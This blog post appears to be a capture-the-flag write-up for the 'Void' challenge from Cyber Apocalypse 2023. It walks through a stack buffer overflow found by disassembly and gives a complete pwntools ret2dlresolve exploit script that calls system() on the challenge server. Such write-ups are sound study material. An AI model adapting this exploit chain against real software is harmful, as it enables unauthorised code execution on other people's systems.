Home First real attempt. Into the void.
Post
Cancel

First real attempt. Into the void.

Introduction

My journey into the cyberapocalypse of 2023 has finaly begun. And first off is a binary exploitation box with the name Void.

CHALLENGE DESCRIPTION The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.

Recon

We are given some files to look at, a binary and the libc and linker are also given.

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/…/boxes/cyberapocalypse2023/void/challenge]
└─$ checksec void
	Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'

Lets fire up gdb with GEF to have a look at the binary by dissasembling main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  disass main
Dump of assembler code for function main:
   0x0000000000401143 <+0>:     push   rbp
   0x0000000000401144 <+1>:     mov    rbp,rsp
   0x0000000000401147 <+4>:     sub    rsp,0x10
   0x000000000040114b <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x000000000040114e <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000401152 <+15>:    call   0x401122 <vuln>
   0x0000000000401157 <+20>:    mov    eax,0x0
   0x000000000040115c <+25>:    leave
   0x000000000040115d <+26>:    ret
End of assembler dump.
gef➤  disass vuln
Dump of assembler code for function vuln:
   0x0000000000401122 <+0>:     push   rbp
   0x0000000000401123 <+1>:     mov    rbp,rsp
   0x0000000000401126 <+4>:     sub    rsp,0x40
   0x000000000040112a <+8>:     lea    rax,[rbp-0x40]
   0x000000000040112e <+12>:    mov    edx,0xc8
   0x0000000000401133 <+17>:    mov    rsi,rax
   0x0000000000401136 <+20>:    mov    edi,0x0
   0x000000000040113b <+25>:    call   0x401030 <read@plt>
   0x0000000000401140 <+30>:    nop
   0x0000000000401141 <+31>:    leave
   0x0000000000401142 <+32>:    ret
End of assembler dump.

This is a typical program, calling the function vuln() wich has a buffer overflow vulnerability. The C psuedo code of vuln looks like this:

1
2
3
4
5
6
7
void vuln(void)
{
  undefined local_48 [64];

  read(0,local_48,200);
  return;
}

This reads 200 bytes into a 64 byte characer array, so we can overflow it! Since the NX bit is set, we can’t add shellcode to the stack, so we need to use Return Oriented Programming, ROP for short.

The exploit

A standard aproach to this is using a ret2libc attack. This means we overwrite vulns return value in the base pointer by overflowing the stack and make it return to a funcion in the libc library. To be able to do this, we must leak a libc base address from the program by being able to print the information back to us using one of the pre-linked functions.

As seen beneath, from the rabin2 output, there is no function in the void program that can give us data! This is probably the reason of the boxes name!

There seems to be no way of leaking information back to us. The payload goes into the void.

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/…/boxes/cyberapocalypse2023/void/challenge]
└─$ rabin2 -i void
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00401030 GLOBAL FUNC       read
2   0x00000000 GLOBAL FUNC       __libc_start_main
3   0x00000000 WEAK   NOTYPE     __gmon_start__

Welcome ret2dlresolve

A method to beat a room like this, is the ret2dlresolve. A method where we can take advantage of the lazy linking function of the elf file.

By lazy linking, the binary does not know the location in memory of the functions the the Procedure Linkage Table, but resolves this the first time the function is called.

This can be tricked, so that we can add a function of our choice to it, and have the system sort out the address to it. I have added some links for further reading on the subject and reccomend working trough it.

I will not go into detail about how the attack works, i leave this to far smarter people than me.

Pwntools to the rescue

Pwntools got built-in support for ret2dlresolve attacks. As much as i would like to do this manually, I seem to need more time and more practice than i currently have. And considering the content of the flag, this is perhaps ok 😊

In the following script, I set it up with pwninit, then added code from the pwntools manual

The following script is a complete solution. I encourage any reader to follow the phrack article and try to uderstand what it does. I have included a raw dump of the rop chain for study in the solution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3

from pwn import *

elf = ELF("./void_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
rop = ROP(elf)


def conn():
    if args.LOCAL:
        # r = process([elf.path])
        r = gdb.debug([elf.path])
    else:
        r = remote("138.68.134.163", 31715)

    return r


def main():
    # good luck pwning :)
    p = conn()

    overflow_lenght = 64

    # Build rop chain
    dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["cat flag.txt"])
    rop.read(0, dlresolve.data_addr)  # Read where to add structures
    rop.ret2dlresolve(dlresolve)  # Add the ret2dlresolve chains

    print(rop.dump())  # Let us see what is going on!
    raw_rop = rop.chain()

    p.sendline(fit({overflow_lenght + context.bytes: raw_rop, 200: dlresolve.payload}))

    if dlresolve.unreliable:
        p.poll(True) == -signal.SIGSEGV
        error("unreliable")
    else:
        flag = p.recvline()
        success(f"FLAG FOUND: {flag.decode('utf-8')}")


if __name__ == "__main__":
    main()

Further reading

This post is licensed under CC BY 4.0 by the author.
Trending Tags